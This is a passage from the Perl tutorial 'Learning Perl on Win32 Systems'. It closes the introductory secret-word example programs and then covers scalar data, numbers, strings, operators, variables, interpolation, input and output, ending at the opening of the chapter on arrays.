                 die "can't dbmopen lastdb: $!";
$last_good{$name} = time;
dbmclose (%last_good) || die "can't dbmclose lastdb: $!";
sub init_words {
    while ( defined($filename = glob("*.sec")) ) {
        open (WORDSLIST, $filename) ||
                die "can't open $filename: $!";
        if (-M WORDSLIST <= 7.0) {
            while (defined ($name = <WORDSLIST>)) {
                chomp ($name);
                $word = <WORDSLIST>;
                chomp ($word);
                $words{$name} = $word;
            }
            close (WORDSLIST) ||
                    die "can't close $filename: $!";
        }
        else {
            # must close file before renaming it
            close (WORDSLIST) ||
                    die "can't close $filename.old: $!"
            rename ($filename,"$filename.old") ||
                    die "can't rename $filename: $!";
        }
    }
}
sub good_word {
  my($somename,$someguess) = @_; # name the parameters
  $somename =~ s/\W.*//; # delete everything after first word
  $somename =~ tr/A-Z/a-z/; # lowercase everything
  if ($somename eq "erik") { # should not need to guess
    return 1; # return value is true
  } elsif (($words{$somename} || "groucho") eq $someguess) {
    return 1; # return value is true
  } else {
    log_failure($somename,$someguess);
    return 0; # return value is false
  }
}

sub log_failure {
    my($somename,$someguess) = @_; # name the parameters
    open(LOG, ">>failures.log") || die "failures.log: $!";
    print LOG "bad news: $somename guessed $someguess\n";
    close (LOG)  || die "can't close failures.log: $!";
}

Next, we have the secret word lister:

while ( defined($filename = glob("*.sec")) ) {
    open (WORDSLIST, $filename) ||
               die "can't open $filename: $!";
    if (-M WORDSLIST <= 7.0) {
        while (defined ($name = <WORDSLIST>)) {
            chomp ($name);
            $word = <WORDSLIST>;
             chomp ($word);
              write; # invoke format STDOUT to STDOUT
        }
    }
    close (WORDSLIST) || die "can't close $filename: $!";
}

format STDOUT =
@<<<<<<<<<<<<<<< @<<<<<<<<< @<<<<<<<<<<<
$filename, $name, $word
.
format STDOUT_TOP =
Page @<<
$%

Filename         Name       Word
================ ========== ============
.

And finally, the last-time-a-word-was-used display program:

dbmopen (%last_good,"lastdb",0666) ||
                 die "can't dbmopen lastdb: $!";
foreach $name (sort keys %last_good) {
    $when = $last_good{$name};
    $hours = (time - $when) / 3600; # compute hours ago
    write;
}
dbmclose(%last_good) || die "can't dbmclose lastdb: $!";
format STDOUT =
User @<<<<<<<<<<<: last correct guess was @<<< hours ago.
$name, $hours
.

Together with the secret word lists (files named something.sec in the current directory) and the database, lastdb.dir and lastdb.pag, you'll have all you need.

Previous: 1.5 Basic Concepts | Learning Perl on Win32 Systems | Next: 1.7 Exercises
1.5 Basic Concepts | Book Index | 1.7 Exercises


[Chapter 1] 1.7 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

1.7 Exercises

Normally, each chapter will end with some exercises, for which answers will be found in Appendix A, Exercise Answers. For this stroll, the answers have already been given above.

  1. Type in the example programs, and get them to work. (You'll need to create the secret word lists as well.) Consult your local Perl guru if you need assistance.

Previous: 1.6 A Stroll Through Perl | Learning Perl on Win32 Systems | Next: 2. Scalar Data
1.6 A Stroll Through Perl | Book Index | 2. Scalar Data


[Chapter 2] Scalar Data

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 1.7 Exercises Chapter 2 Next: 2.2 Numbers

2. Scalar Data

Contents:
What Is Scalar Data?
Numbers
Strings
Scalar Operators
Scalar Variables
Scalar Operators and Functions
<STDIN> as a Scalar Value
Output with print
The Undefined Value
Exercises

2.1 What Is Scalar Data?

A scalar is the simplest kind of data that Perl manipulates. A scalar is either a number (like 4 or 3.25e20) or a string of characters (like "hello" or the Gettysburg Address). Although you may think of numbers and strings as very different things, Perl uses them nearly interchangeably, so we'll describe them together.

A scalar value can be acted upon with operators (like plus or concatenate), generally yielding a scalar result. A scalar value can be stored into a scalar variable. Scalars can be read from files and devices and written out as well.

Previous: 1.7 Exercises | Learning Perl on Win32 Systems | Next: 2.2 Numbers
1.7 Exercises | Book Index | 2.2 Numbers


[Chapter 2] 2.2 Numbers

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

2.2 Numbers

Although a scalar is either a number or a string,[1] consider numbers and strings separately for the moment. Numbers first, strings in a minute...

[1] A scalar can also be a reference, but that is an advanced topic.

2.2.1 All Numbers Use the Same Format Internally

As you'll see in the next few paragraphs, you can specify both integers (whole numbers, like 17 or 342) and floating-point numbers (real numbers with decimal points, like 3.14, or 1.35 times 1025). But internally, Perl computes only with double-precision floating-point values.[2] This means that there are no integer values internal to Perl; an integer constant in the program is treated as the equivalent floating-point value.[3] You probably won't notice the conversion (or care much), but you should stop looking for integer operations (as opposed to floating-point operations), because there aren't any.

[2] A "double-precision floating-point value" is whatever the C compiler that compiled Perl used for a double declaration.

[3] Unless you use "integer mode," but that is not the default.

2.2.2 Float Literals

A literal is the way a value is represented in the text of the Perl program. You could also call this a constant in your program, but we'll use the term literal. Literals are the way in which data is represented in the source code of your program as input to the Perl compiler. (Data that is read from or written to files is treated similarly, but not identically.)

Perl accepts the complete set of floating-point literals available to C programmers. Numbers with and without decimal points are allowed (including an optional plus or minus prefix), as well as tacking on a power-of-10 indicator (exponential notation) with E notation (that's e or E). For example:

1.25      # about 1 and a quarter
7.25e45   # 7.25 times 10 to the 45th power (a big number)
-6.5e24   # negative 6.5 times 10 to the 24th
          # (a "big" negative number)
-12e-24   # negative 12 times 10 to the -24th
          # (a very small negative number)
-1.2E-23  # another way to say that

2.2.3 Integer Literals

Integer literals are also straightforward, as in:

12
15
-2004
3485

Don't start the number with a 0, because Perl supports octal and hexadecimal (hex) literals. Octal numbers start with a leading 0, and hex numbers start with a leading 0x or OX.[4] The hex digits A through F (in either case) represent the conventional digit values of 10 through 15. For example:

[4] The "leading zero" indicator works only for literals, not for automatic string-to-number conversion. You can convert a data string that looks like an octal or hex value into a number with oct() or hex().

0377  # 377 octal, same as 255 decimal
-0xff # negative FF hex, same as -255 decimal

Previous: 2.1 What Is Scalar Data? | Learning Perl on Win32 Systems | Next: 2.3 Strings
2.1 What Is Scalar Data? | Book Index | 2.3 Strings


[Chapter 2] 2.3 Strings

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

2.3 Strings

Strings are sequences of characters (like hello). Each character is an 8-bit value from the entire 256-character set (there's nothing special about the NUL character, as in some languages).

The shortest possible string has no characters. The longest string fills all of your available memory (although you wouldn't be able to do much with that). This is in accordance with the principle of "no built-in limits" that Perl follows at every opportunity. Typical strings are printable sequences of letters, digits, and punctuation in the ASCII 32 to ASCII 126 range. However, the ability to have any character from 0 to 255 in a string means that you can create, scan, and manipulate raw binary data as strings - a task with which most other utilities would have great difficulty. (For example, you can patch your operating system by reading it into a Perl string, making the change, and writing the result back out.)

Like numbers, strings have a literal representation (the way you represent the string in a Perl program). Literal strings come in two different flavors: single-quoted strings and double-quoted strings.[5] Another form that looks rather like these two is the back-quoted string (`like this`). This form isn't so much a literal string as a way to run external commands and get back their output. This form is covered in Chapter 14, Process Management.

[5] Perl also has here strings, which we'll touch on in Chapter 18, CGI Programming.

2.3.1 Single-Quoted Strings

A single-quoted string is a sequence of characters enclosed in single quotes. The single quotes are not part of the string itself; they're just there to let Perl identify the beginning and the ending of the string. Any character between the quote marks (including newline characters, if the string continues onto successive lines) is legal inside a string. There are two exceptions: to get a single quote into a single-quoted string, precede it by a backslash; and, to get a backslash into a single-quoted string, precede the backslash by a backslash. In other pictures:

'hello'     # five characters: h, e, l, l, o
'don\'t'    # five characters: d, o, n, single quote, t
''          # the null string (no characters)
'silly\\me' # silly, followed by backslash, followed by me
'hello\n'   # hello followed by backslash followed by n
'hello
there'      # hello, newline, there (11 characters in all)

Note that the \n within a single-quoted string is not interpreted as a newline, but as the two characters backslash and n. (Only when the backslash is followed by another backslash or a single quote does it have special meaning.)

2.3.2 Double-Quoted Strings

A double-quoted string acts a lot like a C string. Once again, it's a sequence of characters, although this time enclosed in double quotes. But now the backslash takes on its full power to specify certain control characters, or even any character at all through octal and hex representations. Here are some double-quoted strings:

"hello world\n"# hello world, and a newline
"new \007"     # new, space, and the bell character (octal 007)
"coke\tsprite" # a coke, a tab, and a sprite
"c:\\temp"     # c:, backslash, and temp

The backslash can precede many different characters to mean different things (typically called a backslash escape). The complete list of double-quoted string escapes is given in Table 2.1.

Table 2.1: Double-Quoted String Representations

Construct

Meaning

\n

Newline

\r

Return

\t

Tab

\f

Formfeed

\b

Backspace

\v

Vertical tab

\a

Bell

\e

Escape

\007

Any octal ASCII value (here, 007 = bell)

\x7f

Any hex ASCII value (here, 7f = delete)

\cC

Any "control" character (here, control C)

\\

Backslash

\"

Doublequote

\l

Lowercase next letter

\L

Lowercase all following letters until \E

\u

Uppercase next letter

\U

Uppercase all following letters until \E

\Q

Backslash quote all nonalphanumerics

\E

Terminate \L , \U or \Q

Another feature of double-quoted strings is that they are variable interpolated, meaning that scalar and array variables within the strings are replaced with their current values when the strings are used. We haven't formally been introduced to what a variable looks like yet (except in the stroll), so I'll get back to this later.

A quick note here about using DOS/Win32 pathnames in double-quoted strings: while Perl accepts either backslashes or forward slashes in path names, backslashes need to be escaped. So, you need to write one of the following:

"c:\\temp"  # use an escaped backslash
"c:/temp"   # use a  Unix-style forward slash

If you forget to escape the backslash, you'll end up with strange results:

"c:\temp"  # WRONG - this string contains a c:, a TAB, and emp

If you're already used to using pathnames in C/C++, this notation will be second nature to you. Otherwise, beware: pathnames seem to bite each and every Perl-for-Win32 programmer from time to time.

Previous: 2.2 Numbers | Learning Perl on Win32 Systems | Next: 2.4 Scalar Operators
2.2 Numbers | Book Index | 2.4 Scalar Operators


[Chapter 2] 2.4 Scalar Operators

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

2.4 Scalar Operators

An operator produces a new value (the result) from one or more other values (the operands). For example, + is an operator because it takes two numbers (the operands, like 5 and 6), and produces a new value (11, the result).

Perl's operators and expressions are generally a superset of those provided in most other ALGOL/Pascal-like programming languages, such as C or Java. An operator expects either numeric or string operands (or possibly a combination of both). If you provide a string operand where a number is expected, or vice versa, Perl automatically converts the operand using fairly intuitive rules, which will be detailed in the section "Conversion Between Numbers and Strings," later in this chapter.

2.4.1 Operators for Numbers

Perl provides the typical ordinary addition, subtraction, multiplication, and division operators, and so on. For example:

2 + 3      # 2 plus 3, or 5
5.1 - 2.4  # 5.1 minus 2.4, or approximately 2.7
3 * 12     # 3 times 12 = 36
10.2 / 0.3 # 10.2 divided by 0.3, or approximately 34
10 / 3     # always floating point divide, so approximately 3.333333...

Additionally, Perl provides the FORTRAN-like exponentiation operator, which many have yearned for in Pascal and C. The operator is represented by the double asterisk, such as 2**3, which is 2 to the power of 3, or 8. (If the result cannot fit into a double-precision floating-point number, such as a negative number to a noninteger exponent, or a large number to a large exponent, you'll get a fatal error.)

Perl also supports a modulus operator. The value of the expression 10 % 3 is the remainder when 10 is divided by 3, which is 1. Both values are first reduced to their integer values, so 10.5 % 3.2 is computed as 10 % 3.

The logical comparison operators are <, <=, ==, >=, >, and !=. These operators compare two values numerically, returning a true or false value. For example, 3 > 2 returns true because three is greater than two, while 5 != 5 returns false because it's not true that 5 is not equal to 5. The definitions of true and false are covered later, but for now, think of the return values as one for true, and zero for false. (These operators are revisited in Table 2.2.)

You may be wondering about the word "approximately" in the code comments at the start of this section. Don't you get exactly 2.7 when subtracting 2.4 from 5.1? In math class you do, but on computers you usually don't. Instead, you get an approximation that's only accurate to a certain number of decimal places. Computers don't store numbers in the same way a mathematician does. Although there are infinitely many decimal points in them, the computer only has a limited space to store them (usually 64 bits per number). So, just a few of these infinite real numbers can be exactly represented on the computer - the rest are just close.

Comparing the following statements, you'll see what the computer really got as the result of the subtraction (the printf function is described in Chapter 6, Basic I/O):

printf("%.51f\n", 5.1 - 2.4)
# 2.699999999999999733546474089962430298328399658203125

print(5.1 - 2.4, "\n");
# 2.7

Don't worry too much about this: the print() function's default format for printing floating-point numbers usually hides such minor representational inaccuracies. If this ends up being a problem, the Math::BigInt and Math::BigFloat object modules provide infinite-precision arithmetic for integers and floating-point numbers at the cost of somewhat slower execution. For details, see Chapter 7 of Programming Perl or the online documentation on these modules.

2.4.2 Operators for Strings

String values can be concatenated with the "." operator. (Yes, we are using a single period.) This concatenation does not alter either string, any more than 2+3 alters either 2 or 3. The resulting (longer) string is then available for further computation or to be stored into a variable. For example:

"hello" . "world"        # same as "helloworld"
'hello world' . "\n"     # same as "hello world\n"
"fred" . " " . "barney"  # same as "fred barney"

Note that the concatenation must be explicitly called for with the . operator. You do not merely have to stick the two values close to each other.

Another set of operators for strings are the string comparison operators. These operators are FORTRAN like, as in using lt for less than, and so on. The operators compare the ASCII values of the characters of the strings in the usual fashion. The complete set of comparison operators (for both numbers and strings) is given in Table 2.2.

Table 2.2: Numeric and String Comparison Operators
Comparison | Numeric | String
Equal | == | eq
Not equal | != | ne
Less than | < | lt
Greater than | > | gt
Less than or equal to | <= | le
Greater than or equal to | >= | ge

You may wonder why there are separate operators for numbers and strings, if numbers and strings are automatically converted back and forth. Consider the two values 7 and 30. If compared as numbers, 7 is obviously less than 30, but if compared as strings, the string "30" comes before the string "7" (because the ASCII value for 3 is less than the value for 7), and hence is less. Perl always requires you to specify the proper type of comparison, whether it be numeric or string.

Still another string operator is the string repetition operator, consisting of the single lowercase letter x. This operator takes its left operand (a string), and makes as many concatenated copies of that string as indicated by its right operand (a number). For example:

"fred" x 3         # is "fredfredfred"
"barney" x (4+1)   # is "barney" x 5, or
                   # "barneybarneybarneybarneybarney"
(3+2) x 4          # is 5 x 4, or really "5" x 4, which is "5555"

That last example is worth spelling out slowly. The parentheses on (3+2) force this part of the expression to be evaluated first, yielding five. (The parentheses here are working as in standard math.) But the string repetition operator wants a string for a left operand, so the number 5 is converted to the string "5" (using rules described in detail later), a one-character string. This new string is then copied four times, yielding the four-character string 5555. If we had reversed the order of the operands, we would have made five copies of the string 4, yielding 44444. This shows that string repetition is not commutative.

If necessary, the copy count (the right operand) is first truncated to an integer value (4.8 becomes 4) before being used. A copy count of less than 1 results in an empty (zero-length) string.

2.4.3 Operator Precedence and Associativity

Operator precedence defines how to resolve the ambiguous case in which two operators are trying to operate on three operands. For example, in the expression 2+3*4, do we perform the addition first or the multiplication first? If we did the addition first, we'd get 5*4, or 20. But if we did the multiplication first (as we were taught in math class), we'd get 2+12, or 14. Fortunately, Perl chooses the common mathematical definition, performing the multiplication first. Because of this, we say multiplication has a higher precedence than addition.

You can override the order defined by precedence using parentheses. Anything in parentheses is completely computed before the operator outside of the parentheses is applied (just like you learned in your math class). So if I really want the addition before the multiplication, I can say (2+3)*4, yielding 20. Also, if I wanted to demonstrate that multiplication is performed before addition, I could add a decorative but functionless set of parentheses in 2+(3*4).

While precedence is intuitive for addition and multiplication,[6] we start running into problems when faced with, say, string concatenation compared with exponentiation. You can resolve this by consulting the official, accept-no-substitutes Perl operator precedence chart, shown in Table 2.3. (Note that some of the operators have not yet been described, and in fact, may not even appear anywhere in this book, but don't let that fact scare you away from reading about them.) Operators also found in C have the same precedence as in C).

[6] Asssuming you recall your high school algebra class. If not, simply use parentheses to improve clarity.

Table 2.3: Associativity and Precedence of Operators
Associativity | Operator
Left | The "list" operators (leftward)
Left | -> (method call, dereference)
Nonassociative | ++ -- (autoincrement, autodecrement)
Right | ** (exponentiation)
Right | ! ~ \ + - (logical not, bit not, reference operator, unary plus, unary minus)
Left | =~ !~ (matches, doesn't match)
Left | * / % x (multiply, divide, modulus, string replicate)
Left | + - . (add, subtract, string concatenate)
Left | << >> (shift operators)
Nonassociative | Named unary operators (like chomp)
Nonassociative | < > <= >= lt gt le ge (relational operators)
Nonassociative | == != <=> eq ne cmp (equality operators)
Left | & (bit and)
Left | | ^ (bit or, bit xor)
Left | && (logical and)
Left | || (logical or)
Nonassociative | .. ... (noninclusive and inclusive range)
Right | ?: (if then else)
Right | = += -= *=, etc. (assignment and binary assignment)
Left | , => (comma and comma arrow)
Nonassociative | List operators (rightward)
Right | not (logical not)
Left | and (logical and)
Left | or xor (logical or, logical xor)

In Table 2.3, any given operator has higher precedence than those listed below it, and lower precedence than all of the operators listed above it.

Operators at the same precedence level resolve according to rules of associativity. Just like precedence, associativity resolves the order of operations when two operators of the same precedence compete for three operands:

2 ** 3 ** 4   # 2 ** (3 ** 4), or 2 ** 81, or approx 2.41e24
72 / 12 / 3   # (72 / 12) / 3, or 6/3, or 2
30 / 6 * 3    # (30/6)*3, or 15

In the first case, the ** operator has right associativity, so the parentheses are implied on the right. Comparatively, the * and / operators have left associativity, yielding a set of implied parentheses on the left.

2.4.4 Conversion Between Numbers and Strings

If you use a string value as an operand for a numeric operator (say, +), Perl automatically converts the string to its equivalent numeric value, as if you had entered it as a decimal floating-point value.[7] Trailing nonnumerics and leading whitespaces are politely and quietly ignored, so "123.45fred" (with a leading space) converts to 123.45 with nary a warning.[8] At the extreme, something that isn't a number at all converts to zero without warning (such as the string fred used as a number).

[7] Hex and octal values are not supported in this automatic conversion. Use hex and oct to interpret hex and octal values.

[8] Unless you turn on the -w option from the command line. which you should really always do for safety's sake.

Likewise, if you give a numeric value when a string value is needed (for the string concatenate operator, for example), the numeric value is expanded into whatever string would have been printed for that number. For example, if you want to concatenate an X followed by the results of 4 multiplied by 5, you can say this simply as:

"X" . (4 * 5) # same as "X" . 20, or "X20"

(Remember that the parentheses force 4*5 to be computed first, before considering the string concatenation operator.)

In other words, you don't really have to worry about whether you have a number or a string (most of the time). Perl performs all the conversions for you.

Previous: 2.3 Strings | Learning Perl on Win32 Systems | Next: 2.5 Scalar Variables
2.3 Strings | Book Index | 2.5 Scalar Variables


[Chapter 2] 2.5 Scalar Variables

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

2.5 Scalar Variables

A variable is a name for a container that holds one or more values. The name of the variable is constant throughout the program, but the value or values contained in that variable typically change over and over again throughout the execution of the program.

A scalar variable holds a single scalar value (representing a number, a string, or a reference). Scalar variable names begin with a dollar sign followed by a letter, and then possibly more letters, or digits, or underscores.[9] Upper- and lowercase letters are distinct: the variable $A is a different variable from $a. And all of the letters, digits, and underscores are significant, so:

[9] Limited to 255 characters, however. We hope that suffices.

$a_very_long_variable_that_ends_in_1

is different from:

$a_very_long_variable_that_ends_in_2

You should generally select variable names that mean something regarding the value of the variable. For example, $xyz123 is probably not very descriptive, but $line_length is.

Previous: 2.4 Scalar Operators | Learning Perl on Win32 Systems | Next: 2.6 Scalar Operators and Functions
2.4 Scalar Operators | Book Index | 2.6 Scalar Operators and Functions


[Chapter 2] 2.6 Scalar Operators and Functions

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

2.6 Scalar Operators and Functions

The most common operation on a scalar variable is assignment, which is the way to give a value to a variable. The Perl assignment operator is the equal sign (as in C or FORTRAN), which takes a variable name on the left side and gives it the value of the expression on the right, like so:

$a = 17;     # give $a the value of 17
$b = $a + 3; # give $b the current value of $a plus 3 (20)
$b = $b * 2; # give $b the value of $b multiplied by 2 (40)

Notice that the last line uses the $b variable twice: once to get its value (on the right side of the =), and once to define where to put the computed expression (on the left side of the =). This is legal, safe, and in fact, rather common. In fact, the practice is so common that we'll see in a minute that we can write this expression using a convenient shorthand.

You may have noticed that scalar variables are always specified with the leading $. In batch files, Java, or C, you don't need the $ at all. If you bounce back and forth a lot, you'll find yourself typing the wrong things occasionally. This is expected. (Our solution was to stop writing batch files and C programs, but that may not work for you.)

You may use a scalar assignment as a value as well as an operation, as in C. In other words, $a=3 has a value, just as $a+3 has a value. The value is the value assigned, so the value of $a=3 is 3. Although this usage may seem odd at first glance, using an assignment as a value is useful if you wish to assign an intermediate value in an expression to a variable, or if you simply wish to copy the same value to more than one variable. For example:

$b = 4 + ($a = 3);      # assign 3 to $a, then add 4 to that
                        # resulting in $b getting 7
$d = ($c = 5);          # copy 5 into $c, and then also into $d
$d = $c = 5;            # the same thing without parentheses

That last example works because assignment is right-associative.

2.6.1 Binary Assignment Operators

Expressions like $a = $a + 5 (in which the same variable appears on both sides of an assignment) occur so frequently that Perl has a shorthand for the operation of altering a variable: the binary assignment operator. Nearly all binary operators that compute a value have a corresponding binary assignment form with an appended equal sign. For example, the following two lines are equivalent:

$a = $a + 5;  # without the binary assignment operator
$a += 5;      # with the binary assignment operator

And so are these:

$b = $b * 3;
$b *= 3;

In each case, the operator causes the existing value of the variable to be altered in some way, not simply overwriting the value with the result of some new expression.

Another common assignment operator is the string concatenate operator:

$str = $str . " ";  # append a space to $str
$str .= " ";        # same thing with assignment operator

Nearly all binary operators are valid in this way. For example, a raise to the power of operator is written as **=. So, $a **= 3 means "raise the number in $a to the third power, placing the result back in $a."

Like the simple assignment operator, each of these operators has a value as well: the new value of the variable. For example:

$a = 3;
$b = ($a += 4); # $a and $b are both now 7

2.6.2 Autoincrement and Autodecrement

As if it weren't already easy enough to add one to $a by saying $a += 1, Perl goes one step further and shortens even this method. The ++ operator (called the autoincrement operator) adds one to its operand, and returns the incremented value, like so:

$a += 1;   # with assignment operator
++$a;      # with prefix autoincrement
$d = 17;
$e = ++$d; # $e and $d are both 18 now

Here, the ++ operator is being used as a prefix operator - that is, the operator appears to the left of its operand. You may also use the autoincrement in a suffix form (to the right of its operand). In this case, the result of the expression is the old value of the variable before the variable is incremented. For example:

$c = 17;
$d = $c++; # $d is 17, but $c is now 18

Because the value of the operand changes, the operand must be a real scalar variable, not just an expression. You cannot say ++16 to get 17, nor can you say ++($a+$b) to somehow get one more than the sum of $a and $b.

The autodecrement operator (--) is similar to the autoincrement operator, but subtracts one rather than adding one. Like the autoincrement operator, the autodecrement operator has a prefix and suffix form. For example:

$x = 12;
--$x; # $x is now 11
$y = $x--; # $y is 11, and $x is now 10

The autoincrement and autodecrement operators also work on floating-point values. So autoincrementing a variable with the value 4.2 yields 5.2 as expected.[10]

[10] Autoincrement even works on strings. See Programming Perl or perlop for related information.

2.6.3 The chop( ) and chomp( ) Functions

A useful built-in function is chop(). This prefix function takes a single argument within its parentheses - the name of a scalar variable - and removes the last character from the string value of that variable. For example:

$x = "hello world";
chop($x); # $x is now "hello worl"

Note that the value of the argument is altered here, hence the requirement for a scalar variable, rather than simply a scalar value. It would not make sense, for example, to write chop('suey') to change it to 'sue', because there is no place in which to save the value. Besides, you could have just written 'sue' instead.

The value returned is the discarded character (the letter d in world above). As a result, the following code is probably wrong:

$x = chop($x);  # WRONG: replaces $x with its last character
chop($x);       # RIGHT: as above, removes the last character

If you give chop() an empty string, it does nothing, returns nothing, and doesn't raise an error or even whimper a bit.[11] Most operations in Perl have sensible boundary conditions; in other words, you can use them right up to the edges (and beyond), frequently without complaint. Some have argued that this is one of Perl's fundamental flaws, while others write screaming programs without having to worry about the fringes. You decide which camp you wish to join.

[11] Unless you are using the sanity-saving -w switch.

When you chop a string that has already been chopped, another character disappears off into "bit heaven." For example:

$a = "hello world\n";
chop $a; # $a is now "hello world"
chop $a; # oops! $a is now "hello worl"

If you're not sure whether the variable has a newline on the end, you can use the slightly safer chomp() function, which removes only a newline character,[12] like so:

[12] Or whatever the input record separator $\ is set to.

$a = "hello world\n";
chomp ($a); # $a is now "hello world"
chomp ($a); # aha! no change in $a

2.6.4 Interpolation of Scalars into Strings

When a string literal is double quoted, it is subject to variable interpolation (besides being checked for backslash escapes). This means that the string is scanned for possible scalar variable[13] names - namely, a dollar sign followed by letters, digits, and underscores. When a variable reference is found, it is replaced with its current value (or an empty string if the variable has not yet been assigned a value). For example:

[13] The string is actually scanned for array variables as well, but we won't know about those until Chapter 3, Arrays and List Data .

$a = "fred";
$b = "some text $a";             # $b is now "some text fred"
$c = "no such variable $what";   # $c is "no such variable "

The text that replaces the variable is not rescanned; even if there are dollar signs in the replaced value, no further replacement occurs:

$x = '$fred';  # literally a dollar sign followed by "fred"
$y = "hey $x"; # value is 'hey $fred': no double substitution

To prevent the substitution of a variable with its value, you must either alter that part of the string so that it appears in single quotes, or precede the dollar sign with a backslash, which turns off the dollar sign's special significance:

$fred    = 'hi';
$barney  = "a test of " . '$fred';# literally: 'a test of $fred'
$barney2 = "a test of \$fred";    # same thing

The variable name will be the longest possible variable name that makes sense at that part of the string. This can be a problem if you want to follow the replaced value immediately with some constant text that begins with a letter, digit, or underscore. As Perl scans for variable names, it would consider those characters to be additional name characters, and this result is not what you want. Perl provides a delimiter for the variable name. Simply enclose the name of the variable in a pair of curly braces. Or, you can end that part of the string and start another part of the string with a concatenation operator:

$fred = "pay"; $fredday = "wrong!";
$barney = "It's $fredday";          # not payday, but "It's wrong!"
$barney = "It's ${fred}day";        # now, $barney gets "It's payday"
$barney2 = "It's $fred"."day";      # another way to do it
$barney3 = "It's " . $fred . "day"; # and another way

You can use the case-shifting string escapes to alter the case of letters that are brought in with variable interpolation.[14] For example:

[14] You may find the uc, ucfirst, lc, and lcfirst operators easier to use.

$bigfred = "\Ufred";                  # $bigfred is "FRED"
$fred = "fred"; $bigfred = "\U$fred"; # same thing
$capfred = "\u$fred";                 # $capfred is "Fred"
$barney = "\LBARNEY";                 # $barney is now "barney"
$capbarney = "\u\LBARNEY";            # $capbarney is now "Barney"
$bigbarney = "BARNEY"; $capbarney = "\u\L$bigbarney"; # same

As you can see, the case-shifting string escapes are remembered within a string until they are used, so even though the first letter of BARNEY doesn't follow the \u, it remains uppercase because of the \u.

The term variable interpolation is often used interchangeably with double-quote interpolation, because strings that are double quoted are subject to variable interpolation. So too, are backquoted strings, as described in Chapter 14.

Previous: 2.5 Scalar Variables | Learning Perl on Win32 Systems | Next: 2.7 <STDIN> as a Scalar Value
2.5 Scalar Variables | Book Index | 2.7 <STDIN> as a Scalar Value


[Chapter 2] 2.7 <STDIN> as a Scalar Value

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

2.7 <STDIN> as a Scalar Value

At this point, if you're a typical code hacker, you're probably wondering how to get a value into a Perl program. Here's the simplest way. Each time you use <STDIN> in a place where a scalar value is expected, Perl reads the next complete text line from standard input (up to the first newline), and uses that string as the value of <STDIN>. Standard input can mean many things, but unless you do something odd, it means the command console that invoked your program. If there's nothing waiting to be read (typically the case, unless you type ahead a complete line), the Perl program will stop and wait for you to enter some characters followed by a newline (return).

The string value of <STDIN> typically has a newline on the end of it. Most often, you'll want to get rid of that newline right away (there's a big difference between hello and hello\n). It is at this point that our friend, the chomp() function, comes to the rescue. A typical input sequence goes something like this:

$a = <STDIN>; # get the text
chomp($a);    # get rid of that pesky newline

A common abbreviation for these two lines is:

chomp($a = <STDIN>);

The assignment inside the parentheses continues to refer to $a, even after it has been given a value with <STDIN>. Thus, the chomp() function is working on $a. (This is true in general about the assignment operator - an assignment expression can be used wherever a variable is needed, and the actions refer to the variable on the left side of the equal sign.)

Previous: 2.6 Scalar Operators and Functions | Learning Perl on Win32 Systems | Next: 2.8 Output with print
2.6 Scalar Operators and Functions | Book Index | 2.8 Output with print


[Chapter 2] 2.8 Output with print

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

2.8 Output with print

So, we get things in with <STDIN>. How do we get things out? With the print() function. This function takes the values within its parentheses and puts them out without any embellishment onto standard output. Once again, unless you've done something odd, this will be your command console. For example:

print("hello world\n"); # say hello world, followed by newline
print "hello world\n";  # same thing

Note that the second example shows the form of print() without parentheses. In fact, many of the operators that look like functions also have a syntactic form that works without the parentheses. Whether or not to use the parentheses is mostly a matter of style and typing agility, although there are a few cases where you'll need the parentheses to remove ambiguity.

We'll see that you can actually give print a list of values, in the "Using print for Normal Output" section of Chapter 6, but we haven't talked about lists yet, so we'll put that discussion off until later.

Previous: 2.7 <STDIN> as a Scalar Value | Learning Perl on Win32 Systems | Next: 2.9 The Undefined Value
2.7 <STDIN> as a Scalar Value | Book Index | 2.9 The Undefined Value


[Chapter 2] 2.9 The Undefined Value

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

2.9 The Undefined Value

What happens if you use a scalar variable before you give it a value? Nothing serious, and definitely nothing fatal. Variables have the undef value before they are first assigned. This value looks like a zero when used as a number, or the zero-length empty string when used as a string. You will get a warning when running under Perl's -w switch, though, which is a good way to catch programming errors.

Many operators return undef when the arguments are out of range or don't make sense. If you don't do anything special, you'll get a zero or a null string without major consequences. In practice, this scenario is hardly a problem.

One operation we've seen that returns undef under certain circumstances is <STDIN>. Normally, this returns the next line that was read; however, if there are no more lines to read, (such as when you type CTRL-Z at the terminal, or when a file has no more data), <STDIN> returns undef as a value. In Chapter 6, we'll see how to test for this and take special action when there is no more data available to read.

Previous: 2.8 Output with print | Learning Perl on Win32 Systems | Next: 2.10 Exercises
2.8 Output with print | Book Index | 2.10 Exercises


[Chapter 2] 2.10 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

2.10 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program that computes the circumference of a circle with a radius of 12.5. The circumference is 2 [pi] times the radius, or about 2 times 3.141592654.

  2. Modify the program from the previous exercise to prompt for and accept a radius from the person running the program.

  3. Write a program that prompts for and reads two numbers, and then prints out the result of the two numbers multiplied together.

  4. Write a program that reads a string and a number, and then prints the string the number of times indicated by the number on separate lines. (Hint: use the x operator.)

Previous: 2.9 The Undefined Value | Learning Perl on Win32 Systems | Next: 3. Arrays and List Data
2.9 The Undefined Value | Book Index | 3. Arrays and List Data


[Chapter 3] Arrays and List Data

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 2.10 Exercises Chapter 3 Next: 3.2 Literal Representation

3. Arrays and List Data

Contents:
What Is a List or Array?
Literal Representation
Variables
Array Operators and Functions
Scalar and List Context
<STDIN> as an Array
Variable Interpolation of Arrays
Exercises

3.1 What Is a List or Array?

A list is an ordered set of scalar data. An array is a variable that holds a list. Each element of the array is a separate scalar variable with an independent scalar value. These values are ordered - that is, they have a particular sequence from the lowest to the highest element.

